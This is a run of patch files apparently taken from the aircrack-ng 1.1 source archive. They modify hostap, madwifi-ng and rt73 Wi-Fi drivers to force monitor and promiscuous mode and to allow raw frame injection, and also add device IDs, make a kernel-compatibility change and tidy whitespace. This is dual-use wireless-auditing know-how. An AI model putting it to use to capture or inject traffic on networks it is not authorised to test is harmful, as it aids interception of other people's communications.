+ PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401RA Wireless PC", "Card", 0x0306467f, 0x9762e8f1), +// PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("OEM", "PRISM2 IEEE 802.11 PC-Card", 0xfea54c90, 0x48f2bdd6), + PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed), + PCMCIA_DEVICE_PROD_ID123("PCMCIA", "11M WLAN Card v2.5", "ISL37300P", 0x281f1c5d, 0x6e440487, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-CF110", 0x209f40ab, 0xd9715264), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-NS110", 0x209f40ab, 0x46263178), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26), + PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b), +// PCMCIA_DEVICE_PROD_ID1("Symbol Technologies", 0x3f02b4d6), // Symbol24 +// PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), // Symbol24 + PCMCIA_DEVICE_PROD_ID123("SMC", "SMC2632W", "Version 01.02", 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("The Linksys Group, Inc.", "Instant Wireless Network PC Card", "ISL37300P", 0xa5f472c2, 0x590eb502, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee), + PCMCIA_DEVICE_NULL }; MODULE_DEVICE_TABLE(pcmcia, hostap_cs_ids); diff -ur hostap/hostap_hw.c hostap-aircrack-ng/hostap_hw.c --- hostap/hostap_hw.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_hw.c 2006-04-02 00:32:25.000000000 -0500 @@ -1006,6 +1006,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1032,6 +1061,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1464,6 +1497,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3146,6 +3183,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT diff -ur hostap/hostap_ioctl.c hostap-aircrack-ng/hostap_ioctl.c --- hostap/hostap_ioctl.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_ioctl.c 2006-04-02 00:32:25.000000000 -0500 @@ -1104,33 +1104,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1199,7 +1173,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur hostap/hostap_main.c hostap-aircrack-ng/hostap_main.c --- hostap/hostap_main.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_main.c 2006-04-02 00:32:25.000000000 -0500 @@ -332,7 +332,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } diff -ur hostap/hostap_pci.c hostap/hostap_pci.c --- hostap/hostap_pci.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_pci.c 2006-04-02 00:32:25.000000000 -0500 @@ -49,6 +49,8 @@ { 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID }, /* Samsung MagicLAN SWL-2210P */ { 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID }, + /* NETGEAR MA311 */ + { 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID }, { 0 } }; diff -ur hostap/hostap_plx.c hostap/hostap_plx.c --- hostap/hostap_plx.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_plx.c 2006-04-02 00:32:25.000000000 -0500 @@ -100,6 +100,7 @@ { 0xc250, 0x0002 } /* EMTAC A2424i */, { 0xd601, 0x0002 } /* Z-Com XI300 */, { 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */, + { 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */, { 0, 0} }; diff -ur hostap/hostap_wlan.h hostap/hostap_wlan.h --- hostap/hostap_wlan.h 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_wlan.h 2006-04-02 00:32:25.000000000 -0500 @@ -575,6 +575,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.1/patches/old/madwifi-ng-r1486.patch0000644000000000000000000000167110761053203020266 0ustar rootrootdiff -ur madwifi-ng-r1486/ath/if_ath.c patched_madwifi-ng-r1486/ath/if_ath.c --- madwifi-ng-r1486/ath/if_ath.c 2006-03-23 22:09:04.000000000 +0100 +++ patched_madwifi-ng-r1486/ath/if_ath.c 2006-03-28 20:59:14.000000000 +0200 @@ -2240,6 +2240,7 @@ struct ath_softc *sc = dev->priv; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); + struct ieee80211com *ic = &sc->sc_ic; const HAL_RATE_TABLE *rt; int pktlen; int hdrlen; @@ -2254,7 +2255,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.1/patches/old/madwifi-ng-r1983.patch0000644000000000000000000000174310761053203020270 0ustar rootrootdiff -ur madwifi-r1983/ath/if_ath.c patched-madwifi-r1983/ath/if_ath.c --- madwifi-r1983/ath/if_ath.c 2007-01-21 00:09:36.140625000 +0100 +++ patched-madwifi-r1983/ath/if_ath.c 2007-01-21 00:11:01.984375000 +0100 @@ -2299,6 +2299,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2315,7 +2316,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.1/patches/old/sqlite-3.5.7-lib_cygwin.diff0000644000000000000000000000116111147347032021367 0ustar rootroot--- Makefile.ori 2008-03-20 22:34:53.328125000 +0100 +++ Makefile 2008-03-20 22:37:30.562500000 +0100 @@ -665,11 +665,10 @@ $(TEMP_STORE) -o $@ $(TESTFIXTURE_SRC) $(LIBTCL) -install: sqlite3$(BEXE) libsqlite3.la sqlite3.h ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) $(INSTALL) -d $(DESTDIR)$(bindir) - $(LTINSTALL) sqlite3$(BEXE) $(DESTDIR)$(bindir) $(INSTALL) -d $(DESTDIR)$(includedir) $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(includedir) $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(includedir) aircrack-ng-1.1/patches/old/madwifi-ng-r1886.patch0000644000000000000000000000174310761053203020272 0ustar rootrootdiff -ur madwifi-r1886/ath/if_ath.c madwifi-r1886-patched/ath/if_ath.c --- madwifi-r1886/ath/if_ath.c 2007-01-07 21:22:55.312500000 +0100 +++ madwifi-r1886-patched/ath/if_ath.c 2007-01-07 21:17:09.875000000 +0100 @@ -2289,6 +2289,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2305,7 +2306,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.1/patches/old/rt73_2.6.24.patch0000644000000000000000000012205611050372022017066 0ustar rootrootdiff -Naur rt73-k2wrlz-2.0.1/Module/rtmp_def.h rt73-k2wrlz-2.0.1-24/Module/rtmp_def.h --- rt73-k2wrlz-2.0.1/Module/rtmp_def.h 2007-07-10 10:01:32.000000000 +0200 +++ rt73-k2wrlz-2.0.1-24/Module/rtmp_def.h 2008-02-13 23:12:13.000000000 +0100 @@ -1,26 +1,26 @@ -/*************************************************************************** - * RT2x00 SourceForge Project - http://rt2x00.serialmonkey.com * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, write to the * - * Free Software Foundation, Inc., * - * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * - * * - * Licensed under the GNU GPL * - * Original code supplied under license from RaLink Inc, 2004. * +/*************************************************************************** + * RT2x00 SourceForge Project - http://rt2x00.serialmonkey.com * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the * + * Free Software Foundation, Inc., * + * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * + * * + * Licensed under the GNU GPL * + * Original code supplied under license from RaLink Inc, 2004. * ***************************************************************************/ -/*************************************************************************** +/*************************************************************************** * Module Name: rtmp_def.h * * Abstract: Miniport related definition header @@ -31,7 +31,7 @@ * Paul Lin 08-01-2002 created * John Chang 08-05-2003 add definition for 11g & other drafts * idamlaj 04-10-2006 Add extra devices - * + * ***************************************************************************/ #ifndef __RTMP_DEF_H__ @@ -61,7 +61,7 @@ #define TYPE_RXD 1 #endif -//WEP +//WEP #define WEP_SMALL_KEY_LEN (40/8) #define WEP_LARGE_KEY_LEN (104/8) @@ -237,7 +237,7 @@ #define MAX_LEN_OF_SUPPORTED_RATES 12 // 1, 2, 5.5, 11, 6, 9, 12, 18, 24, 36, 48, 54 #define MAX_LEN_OF_KEY 32 // 32 octets == 256 bits, Redefine for WPA -#define MAX_NUM_OF_CHANNELS 43 //1-14, 36/40/44/48/52/56/60/64/100/104/108/112/116/120/124/ +#define MAX_NUM_OF_CHANNELS 43 //1-14, 36/40/44/48/52/56/60/64/100/104/108/112/116/120/124/ //128/132/136/140/149/153/157/161/165/34/38/42/46 + 1 as NULL termination #define MAX_NUM_OF_A_CHANNELS 24 //36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 165 #define J52_CHANNEL_START_OFFSET 38 //1-14, 36/40/44/48/52/56/60/64/100/104/108/112/116/120/124/ @@ -245,7 +245,7 @@ #define MAX_LEN_OF_SSID 32 #define CIPHER_TEXT_LEN 128 #define MAX_LEN_OF_MLME_BUFFER 2048 -#define MAX_MLME_HANDLER_MEMORY 20 //each them cantains MAX_LEN_OF_MLME_BUFFER size +#define MAX_MLME_HANDLER_MEMORY 20 //each them cantains MAX_LEN_OF_MLME_BUFFER size #define MAX_FRAME_LEN 2338 #define MAX_VIE_LEN 160 // New for WPA cipher suite variable IE sizes. @@ -304,7 +304,7 @@ #define MLME_SUCCESS 0 #define MLME_UNSPECIFY_FAIL 1 #define MLME_CANNOT_SUPPORT_CAP 10 -#define MLME_REASSOC_DENY_ASSOC_EXIST 11 +#define MLME_REASSOC_DENY_ASSOC_EXIST 11 #define MLME_ASSOC_DENY_OUT_SCOPE 12 #define MLME_ALG_NOT_SUPPORT 13 #define MLME_SEQ_NR_OUT_OF_SEQUENCE 14 @@ -334,7 +334,7 @@ #define IE_802_11D_REQUEST 10 // 802.11d #define IE_QBSS_LOAD 11 // 802.11e d9 #define IE_EDCA_PARAMETER 12 // 802.11e d9 -#define IE_TSPEC 13 // 802.11e d9 +#define IE_TSPEC 13 // 802.11e d9 #define IE_TCLAS 14 // 802.11e d9 #define IE_SCHEDULE 15 // 802.11e d9 #define IE_CHALLENGE_TEXT 16 @@ -422,7 +422,7 @@ #define ASSOC_MACHINE_BASE 0 #define MT2_MLME_ASSOC_REQ 0 #define MT2_MLME_REASSOC_REQ 1 -#define MT2_MLME_DISASSOC_REQ 2 +#define MT2_MLME_DISASSOC_REQ 2 #define MT2_PEER_DISASSOC_REQ 3 #define MT2_PEER_ASSOC_REQ 4 #define MT2_PEER_ASSOC_RSP 5 @@ -491,7 +491,7 @@ // // STA's WPA-PSK State machine: states, events, total function # -// +// #define WPA_PSK_IDLE 0 #define MAX_WPA_PSK_STATE 1 @@ -650,8 +650,8 @@ #define CIPHER_AES 4 #define CIPHER_CKIP64 5 #define CIPHER_CKIP128 6 -#define CIPHER_TKIP_NO_MIC 7 // MIC has been appended by driver, not a valid value in hardware key table - +#define CIPHER_TKIP_NO_MIC 7 // MIC has been appended by driver, not a valid value in hardware key table + // value domain for pAd->RfIcType #define RFIC_5226 1 //A/B/G @@ -813,6 +813,7 @@ // VID/PID //------------------- +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) #define RT73_USB_DEVICES { \ {USB_DEVICE(0x0b05,0x1723)}, /* ASUS */ \ {USB_DEVICE(0x148f,0x2573)}, /* Ralink */ \ @@ -843,7 +844,38 @@ {USB_DEVICE(0x0df6,0x90ac)}, /* Sitecom */ \ {USB_DEVICE(0x13b1,0x0023)}, /* LinkSys */ \ {USB_DEVICE(0,0)}} /* end marker */ - +#else +#define RT73_USB_DEVICES { \ + {USB_DEVICE(0x0b05,0x1723)}, /* ASUS */ \ + {USB_DEVICE(0x148f,0x2573)}, /* Ralink */ \ + {USB_DEVICE(0x148f,0x2671)}, /* Ralink */ \ + {USB_DEVICE(0x18e8,0x6196)}, /* Qcom */ \ + {USB_DEVICE(0x18e8,0x6229)}, /* Qcom */ \ + {USB_DEVICE(0x1044,0x8008)}, /* Gigabyte */ \ + {USB_DEVICE(0x14b2,0x3c22)}, /* Conceptronic */ \ + {USB_DEVICE(0x0db0,0x6877)}, /* MSI */ \ + {USB_DEVICE(0x0db0,0xa874)}, /* MSI */ \ + {USB_DEVICE(0x0db0,0xa861)}, /* MSI */ \ + {USB_DEVICE(0x07b8,0xb21d)}, /* AboCom */ \ + {USB_DEVICE(0x0769,0x31f3)}, /* Surecom */ \ + {USB_DEVICE(0x1472,0x0009)}, /* Huawei-3Com */ \ + {USB_DEVICE(0x1371,0x9022)}, /* CNet */ \ + {USB_DEVICE(0x1371,0x9032)}, /* CNet */ \ + {USB_DEVICE(0x1631,0xc019)}, /* Billionton */ \ + {USB_DEVICE(0x1044,0x800a)}, /* Gigabyte */ \ + {USB_DEVICE(0x07d1,0x3c03)}, /* D-Link */ \ + {USB_DEVICE(0x07d1,0x3c04)}, /* D-Link */ \ + {USB_DEVICE(0x050d,0x7050)}, /* Belkin */ \ + {USB_DEVICE(0x050d,0x705a)}, /* Belkin */ \ + {USB_DEVICE(0x13b1,0x0020)}, /* Linksys */ \ + {USB_DEVICE(0x18e8,0x6196)}, /* Qcom*/ \ + {USB_DEVICE(0x0df6,0x9712)}, /* Sitecom */ \ + {USB_DEVICE(0x06f8,0xe010)}, /* Hercules */ \ + {USB_DEVICE(0x1690,0x0722)}, /* Askey */ \ + {USB_DEVICE(0x0df6,0x90ac)}, /* Sitecom */ \ + {USB_DEVICE(0x13b1,0x0023)}, /* LinkSys */ \ + {}} /* end marker */ +#endif #endif // __RTMP_DEF_H__ diff -Naur rt73-k2wrlz-2.0.1/Module/rtmp_main.c rt73-k2wrlz-2.0.1-24/Module/rtmp_main.c --- rt73-k2wrlz-2.0.1/Module/rtmp_main.c 2007-10-26 21:35:39.000000000 +0200 +++ rt73-k2wrlz-2.0.1-24/Module/rtmp_main.c 2008-02-13 23:03:14.000000000 +0100 @@ -1,26 +1,26 @@ -/*************************************************************************** - * RT2x00 SourceForge Project - http://rt2x00.serialmonkey.com * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, write to the * - * Free Software Foundation, Inc., * - * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * - * * - * Licensed under the GNU GPL * - * Original code supplied under license from RaLink Inc, 2004. * +/*************************************************************************** + * RT2x00 SourceForge Project - http://rt2x00.serialmonkey.com * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the * + * Free Software Foundation, Inc., * + * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * + * * + * Licensed under the GNU GPL * + * Original code supplied under license from RaLink Inc, 2004. * ***************************************************************************/ -/*************************************************************************** +/*************************************************************************** * Module Name: rtmp_main.c * * Abstract: Main initialization routines @@ -29,8 +29,8 @@ * Who When What * -------- ---------- ----------------------------- * Jan Lee 01-10-2005 modified - * idamlaj 04-10-2006 Apply patch by Ace17 (from forum) - * + * idamlaj 04-10-2006 Apply patch by Ace17 (from forum) + * ***************************************************************************/ #include "rt_config.h" @@ -67,7 +67,7 @@ /* module table */ struct usb_device_id rtusb_usb_id[] = RT73_USB_DEVICES; -INT const rtusb_usb_id_len = sizeof(rtusb_usb_id) / sizeof(struct usb_device_id); +INT const rtusb_usb_id_len = sizeof(rtusb_usb_id) / sizeof(struct usb_device_id); MODULE_DEVICE_TABLE(usb, rtusb_usb_id); @@ -158,7 +158,7 @@ // for cslip etc pAd->stats.rx_compressed = 0; pAd->stats.tx_compressed = 0; - + return &pAd->stats; } @@ -214,22 +214,22 @@ #endif VOID RTUSBHalt( - IN PRTMP_ADAPTER pAd, + IN PRTMP_ADAPTER pAd, IN BOOLEAN IsFree) { MLME_DISASSOC_REQ_STRUCT DisReq; MLME_QUEUE_ELEM MsgElem; INT i; - + DBGPRINT(RT_DEBUG_TRACE, "====> RTUSBHalt\n"); // - // before set flag fRTMP_ADAPTER_HALT_IN_PROGRESS, + // before set flag fRTMP_ADAPTER_HALT_IN_PROGRESS, // we should send a disassoc frame to our AP. // if (!RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_NIC_NOT_EXIST)) { - if (INFRA_ON(pAd)) + if (INFRA_ON(pAd)) { COPY_MAC_ADDR(DisReq.Addr, pAd->PortCfg.Bssid); DisReq.Reason = REASON_DISASSOC_STA_LEAVING; @@ -252,7 +252,7 @@ RTMPSendNullFrame(pAd, RATE_6); RTMPusecDelay(1000); } - + // disable BEACON generation and other BEACON related hardware timers AsicDisableSync(pAd); RTMPSetLED(pAd, LED_HALT); @@ -281,23 +281,23 @@ // Free the entire adapter object ReleaseAdapter(pAd, IsFree, FALSE); - + // reset mlme & command thread pAd->MLMEThr_pid = -1; pAd->RTUSBCmdThr_pid = -1; - + RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_HALT_IN_PROGRESS); } VOID CMDHandler( - IN PRTMP_ADAPTER pAd) + IN PRTMP_ADAPTER pAd) { PCmdQElmt cmdqelmt; PUCHAR pData; NDIS_STATUS NdisStatus = NDIS_STATUS_SUCCESS; ULONG IrqFlags; ULONG Now; - + while (pAd->CmdQ.size > 0) { NdisStatus = NDIS_STATUS_SUCCESS; @@ -339,7 +339,7 @@ // Update extra information pAd->ExtraInfo = HW_RADIO_OFF; } - } + } } break; @@ -351,11 +351,11 @@ { if (pAd->Mlme.CntlMachine.CurrState != CNTL_IDLE) { - MlmeEnqueue(pAd, + MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, RT_CMD_RESET_MLME, 0, - NULL); + NULL); } @@ -372,17 +372,17 @@ RTUSBMlmeUp(pAd); } break; - + case RT_OID_802_11_BSSID: { if (pAd->Mlme.CntlMachine.CurrState != CNTL_IDLE) { - MlmeEnqueue(pAd, + MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, RT_CMD_RESET_MLME, 0, - NULL); + NULL); } @@ -399,16 +399,16 @@ RTUSBMlmeUp(pAd); } break; - + case OID_802_11_SSID: { if (pAd->Mlme.CntlMachine.CurrState != CNTL_IDLE) - { - MlmeEnqueue(pAd, + { + MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, RT_CMD_RESET_MLME, 0, - NULL); + NULL); } @@ -421,7 +421,7 @@ MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, OID_802_11_SSID, - cmdqelmt->bufferlength, + cmdqelmt->bufferlength, pData); RTUSBMlmeUp(pAd); } @@ -431,11 +431,11 @@ { if (pAd->Mlme.CntlMachine.CurrState != CNTL_IDLE) { - MlmeEnqueue(pAd, + MlmeEnqueue(pAd, MLME_CNTL_STATE_MACHINE, RT_CMD_RESET_MLME, 0, - NULL); + NULL); } @@ -456,7 +456,7 @@ NDIS_802_11_ANTENNA Antenna = *(NDIS_802_11_ANTENNA *)pData; - if (Antenna == 0) + if (Antenna == 0) pAd->Antenna.field.RxDefaultAntenna = 1; // ant-A else if(Antenna == 1) pAd->Antenna.field.RxDefaultAntenna = 2; // ant-B @@ -473,7 +473,7 @@ { NDIS_802_11_ANTENNA Antenna = *(NDIS_802_11_ANTENNA *)pData; - if (Antenna == 0) + if (Antenna == 0) pAd->Antenna.field.TxDefaultAntenna = 1; // ant-A else if(Antenna == 1) pAd->Antenna.field.TxDefaultAntenna = 2; // ant-B @@ -517,7 +517,7 @@ RTUSBReadEEPROM(pAd, Offset, pData + 4, Length); } break; - + case RT_OID_USB_VENDOR_EEPROM_WRITE: { USHORT Offset = *((PUSHORT)pData); @@ -563,26 +563,26 @@ case RT_OID_USB_RESET_BULK_OUT: { INT Index; - + DBGPRINT_RAW(RT_DEBUG_ERROR, "RT_OID_USB_RESET_BULK_OUT\n"); - + RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_RESET_PIPE_IN_PROGRESS); - RTUSBRejectPendingPackets(pAd); //reject all NDIS packets waiting in TX queue + RTUSBRejectPendingPackets(pAd); //reject all NDIS packets waiting in TX queue RTUSBCancelPendingBulkOutIRP(pAd); RTUSBCleanUpDataBulkOutQueue(pAd); NICInitializeAsic(pAd); ReleaseAdapter(pAd, FALSE, TRUE); // unlink urb releated tx context NICInitTransmit(pAd); - - RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_RESET_PIPE_IN_PROGRESS); - + + RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_RESET_PIPE_IN_PROGRESS); + if (RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_BULKOUT_RESET)) { RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_BULKOUT_RESET); } - + if (!RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_RADIO_OFF)) { for (Index = 0; Index < 4; Index++) @@ -594,8 +594,8 @@ } RTUSBKickBulkOut(pAd); - } - } + } + } break; @@ -618,7 +618,7 @@ } if (pRxContext->TransferBuffer != NULL) { - kfree(pRxContext->TransferBuffer); + kfree(pRxContext->TransferBuffer); pRxContext->TransferBuffer = NULL; } } @@ -722,9 +722,9 @@ //disable Rx RTUSBWriteMACRegister(pAd, TXRX_CSR2, 1); //Ask our device to complete any pending bulk in IRP. - while ((atomic_read(&pAd->PendingRx) > 0) || + while ((atomic_read(&pAd->PendingRx) > 0) || (pAd->BulkOutPending[0] == TRUE) || - (pAd->BulkOutPending[1] == TRUE) || + (pAd->BulkOutPending[1] == TRUE) || (pAd->BulkOutPending[2] == TRUE) || (pAd->BulkOutPending[3] == TRUE)) @@ -743,7 +743,7 @@ } if ((pAd->BulkOutPending[0] == TRUE) || - (pAd->BulkOutPending[1] == TRUE) || + (pAd->BulkOutPending[1] == TRUE) || (pAd->BulkOutPending[2] == TRUE) || (pAd->BulkOutPending[3] == TRUE)) { @@ -758,7 +758,7 @@ RTMPusecDelay(500000); } - NICResetFromError(pAd); + NICResetFromError(pAd); if (RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_HARDWARE_ERROR)) { RTMP_CLEAR_FLAG(pAd, fRTMP_ADAPTER_HARDWARE_ERROR); @@ -814,12 +814,12 @@ case RT_OID_VENDOR_WRITE_RF: { ULONG Value = *((PULONG)pData); - + DBGPRINT_RAW(RT_DEBUG_INFO, "value = 0x%08x\n", Value); 